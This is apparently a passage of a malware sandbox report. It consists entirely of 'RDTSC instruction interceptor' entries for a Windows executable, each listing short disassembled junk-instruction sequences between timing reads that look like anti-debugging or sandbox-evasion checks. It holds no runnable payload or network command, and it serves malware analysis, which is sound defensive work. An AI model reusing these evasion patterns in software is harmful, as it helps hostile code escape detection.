Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EE5F6 second address: 6EE5FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F132B second address: 6F132F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F132F second address: 6F1333 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F44EE second address: 6F44F8 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F85E0CFF600h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F44F8 second address: 6F451A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F85E0BBFC24h 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d jbe 00007F85E0BBFC16h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F4664 second address: 6F466F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F466F second address: 6F4687 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F85E0BBFC24h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F4813 second address: 6F4828 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F85E0CFF5F1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F498A second address: 6F4990 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F4990 second address: 6F4994 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F4AED second address: 6F4AF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F4AF3 second address: 6F4AFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F4AFE second address: 6F4B03 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F4C55 second address: 6F4C5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F4C5B second address: 6F4C86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F85E0BBFC1Eh 0x00000009 jmp 00007F85E0BBFC28h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F4C86 second address: 6F4C9C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F85E0CFF5EFh 0x00000007 push eax 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F4C9C second address: 6F4CAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a push eax 0x0000000b pop eax 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 701CFD second address: 701D02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 701D02 second address: 701D28 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F85E0BBFC27h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c je 00007F85E0BBFC16h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 701D28 second address: 701D2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FFDBB second address: 6FFDC3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FFF64 second address: 6FFF6E instructions: 0x00000000 rdtsc 0x00000002 je 00007F85E0CFF5E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FFF6E second address: 6FFFAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jns 00007F85E0BBFC44h 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 700567 second address: 70058E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007F85E0CFF5FAh 0x0000000b push eax 0x0000000c push edx 0x0000000d js 00007F85E0CFF5E6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70058E second address: 700598 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F85E0BBFC16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 700CC6 second address: 700D00 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F85E0CFF5F3h 0x00000007 pushad 0x00000008 jmp 00007F85E0CFF5EAh 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f jmp 00007F85E0CFF5F6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 700D00 second address: 700D16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F85E0BBFC1Ah 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 700D16 second address: 700D1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70146D second address: 7014B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F85E0BBFC1Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ecx 0x0000000b jmp 00007F85E0BBFC25h 0x00000010 jp 00007F85E0BBFC16h 0x00000016 pop ecx 0x00000017 pushad 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a pushad 0x0000001b popad 0x0000001c pushad 0x0000001d popad 0x0000001e push edx 0x0000001f pop edx 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F85E0BBFC1Eh 0x00000028 pushad 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70A349 second address: 70A35C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F85E0CFF5EFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70A35C second address: 70A372 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jns 00007F85E0BBFC16h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jnp 00007F85E0BBFC16h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70A372 second address: 70A376 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70A376 second address: 70A37F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70A37F second address: 70A397 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F85E0CFF5E6h 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d pop eax 0x0000000e popad 0x0000000f pushad 0x00000010 jne 00007F85E0CFF5E6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70A397 second address: 70A3B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F85E0BBFC1Eh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70A3B2 second address: 70A3B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70A4F2 second address: 70A4FC instructions: 0x00000000 rdtsc 0x00000002 jg 00007F85E0BBFC16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 711007 second address: 71100D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71100D second address: 711011 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 718F8D second address: 718FBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push edx 0x0000000a pop edx 0x0000000b pop ecx 0x0000000c jmp 00007F85E0CFF5EBh 0x00000011 push eax 0x00000012 push edx 0x00000013 push edi 0x00000014 pop edi 0x00000015 jmp 00007F85E0CFF5F3h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71D589 second address: 71D596 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F85E0BBFC16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71D596 second address: 71D5B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 push edi 0x00000008 jbe 00007F85E0CFF5E6h 0x0000000e je 00007F85E0CFF5E6h 0x00000014 pop edi 0x00000015 popad 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71D5B1 second address: 71D5B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71D5B7 second address: 71D5D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F85E0CFF5F8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71D5D9 second address: 71D5DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 723A0D second address: 723A18 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 723A18 second address: 723A1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 723A1D second address: 723A34 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F85E0CFF5F2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 723A34 second address: 723A52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F85E0BBFC28h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 650866 second address: 650874 instructions: 0x00000000 rdtsc 0x00000002 js 00007F85E0CFF5E8h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 650874 second address: 65087A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72EDEF second address: 72EDF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 733B7A second address: 733BA6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F85E0BBFC28h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F85E0BBFC1Bh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 733BA6 second address: 733BAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73984D second address: 739853 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 739853 second address: 739863 instructions: 0x00000000 rdtsc 0x00000002 js 00007F85E0CFF5E6h 0x00000008 jno 00007F85E0CFF5E6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63FAAC second address: 63FAB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F85E0BBFC16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 738130 second address: 73813B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F85E0CFF5E6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7394FC second address: 739502 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 739502 second address: 739512 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jo 00007F85E0CFF5E6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 739512 second address: 739540 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F85E0BBFC1Fh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F85E0BBFC29h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73F998 second address: 73F99C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73F99C second address: 73F9DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F85E0BBFC25h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b ja 00007F85E0BBFC38h 0x00000011 jmp 00007F85E0BBFC25h 0x00000016 jmp 00007F85E0BBFC1Dh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73F9DF second address: 73FA03 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F85E0CFF5F9h 0x00000008 jnp 00007F85E0CFF5E6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73FA03 second address: 73FA1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007F85E0BBFC18h 0x0000000b pushad 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edi 0x00000010 jg 00007F85E0BBFC1Eh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73FA1B second address: 73FA3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 jmp 00007F85E0CFF5F9h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73F4C7 second address: 73F4DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F85E0BBFC22h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73F4DF second address: 73F4E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73F676 second address: 73F6C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F85E0BBFC24h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a js 00007F85E0BBFC18h 0x00000010 push esi 0x00000011 pop esi 0x00000012 push edi 0x00000013 jmp 00007F85E0BBFC1Fh 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a pop edi 0x0000001b push eax 0x0000001c push edx 0x0000001d jl 00007F85E0BBFC16h 0x00000023 jmp 00007F85E0BBFC24h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73F6C6 second address: 73F6CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74117D second address: 741181 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 741181 second address: 7411B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F85E0CFF5EBh 0x0000000b push edx 0x0000000c jmp 00007F85E0CFF5ECh 0x00000011 jmp 00007F85E0CFF5F1h 0x00000016 pop edx 0x00000017 jp 00007F85E0CFF5ECh 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7411B9 second address: 7411C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7411C2 second address: 7411C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74FD5F second address: 74FD63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74FD63 second address: 74FD83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F85E0CFF5EDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jnp 00007F85E0CFF5EAh 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74FD83 second address: 74FD89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7518E4 second address: 7518F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F85E0CFF5EEh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7518F8 second address: 7518FD instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 751759 second address: 75176D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F85E0CFF5EBh 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75EEAF second address: 75EEC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F85E0BBFC22h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75EEC6 second address: 75EECC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75EECC second address: 75EEF4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F85E0BBFC1Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c jnl 00007F85E0BBFC16h 0x00000012 pop edx 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jl 00007F85E0BBFC18h 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75ED3E second address: 75ED4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 760B47 second address: 760B54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 760B54 second address: 760B58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 760B58 second address: 760B67 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F85E0BBFC1Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 760B67 second address: 760B6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77A21C second address: 77A224 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77A224 second address: 77A24A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F85E0CFF5F8h 0x0000000c pop eax 0x0000000d popad 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77A24A second address: 77A24E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77A24E second address: 77A258 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F85E0CFF5E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77A990 second address: 77A99A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F85E0BBFC16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77A99A second address: 77A9A7 instructions: 0x00000000 rdtsc 0x00000002 je 00007F85E0CFF5E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77AAD0 second address: 77AAF4 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F85E0BBFC16h 0x00000008 jnp 00007F85E0BBFC16h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop edi 0x00000011 pushad 0x00000012 jng 00007F85E0BBFC1Eh 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77AAF4 second address: 77AAF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77AAF8 second address: 77AAFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
